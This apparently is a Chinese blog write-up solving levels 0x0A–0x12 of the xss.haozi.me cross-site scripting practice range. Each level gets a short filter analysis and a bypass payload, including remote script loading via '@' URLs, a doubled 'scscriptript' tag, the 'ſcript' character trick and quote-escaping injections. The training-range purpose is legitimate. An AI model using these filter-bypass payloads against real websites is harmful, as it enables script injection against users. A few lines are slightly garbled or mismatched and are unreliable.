XSS漏洞:xss.haozi.me靶场通关~0x0A~0x12

0X0A

分析代码后发现,本关过滤了&'"<>\等字符转换为实体编码。

本关可以使用url@重定向的方式进行绕过

所以本关可以在本地写入一个test.js文件,在js文件中写入alert(1)进行重定向
代码

http://www.segmentfault.com@127.0.0.1/test.js

注意:由于不同的浏览器可能会有保护机制,所以本关可能不会显示成功。

ttps://www.segmentfault.com.haozi.me/j.js

0X0B

分析代码可得,通过img标签,在onerror中加入alert代码的编码形式。

代码

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

0X0C

分析代码这段代码就是过滤了script字段,然后就是还和上关一样

<scscriptript src=https://www.segmentfault.com.haozi.me/j.js></scscriptript>

0X0D

分析代码可得,将所有用正则表达式过滤</'"几个符号。又将我们输入的数据放在注释行中。

所以本关想要绕过就只能使用换行符,使用换行符将我们要输入的alert(1)与注释符不在同一行,再将后面的注释符进行注释,就能成功绕过了。

-->
alert(1)
-->

0X0E

分析代码发现将所有用<开头的字母都进行了替换,让我们无法正常输入标签。

这里需要使用一个xss特殊的绕过技巧,在html中ſ这个字符转换为s,所以我们通过使用这个字符绕过这里的过滤函数。

代码

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0X0F

分析代码可得,将一些注入语句,给转义了,并放在onerror中

但是转义对于JS来说作用不大,我们可以先将闭合,然后使用分号再在后面加上alert(1)语句即可。然后再把后面的给注释掉

代码

'),alert('1

0X10

入本关发现,将输入的数据直接放入在一个window.data中

而这个就相当于windows中弹窗调用,所以直接输入alert(1)就可以成功弹窗了

代码

alert(1)

0X11

分析代码发现在过滤了许多字符的基础上还将,\n、\r等换行操作给过滤了。

所以我们可以先把前面函数闭合,虽然不能使用换行操作,但是我们可以使用或者将代码分隔开来,再把后面字符使用注释符注释就可以成功绕过了。

代码

"); alert(1)("

0X12

分析代码发现本关本质其实和上一关一样,就是将"替换为\,防止闭合前面函数。
但是我们可以通过先输入\符号将\进行转义了,这样双引号就能成功闭合了。

代码

\");alert(1);//

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值